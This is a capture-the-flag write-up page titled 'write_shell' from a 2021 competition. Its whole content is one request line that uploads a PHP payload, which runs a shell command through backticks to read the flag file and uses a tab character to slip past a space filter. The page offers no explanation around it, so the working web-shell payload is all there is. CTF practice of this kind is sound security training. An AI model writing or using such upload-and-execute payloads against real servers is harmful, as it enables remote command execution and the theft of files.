> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2021/2021-hong-ming-gu/write_shell.md).

# write\_shell

```
/?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
```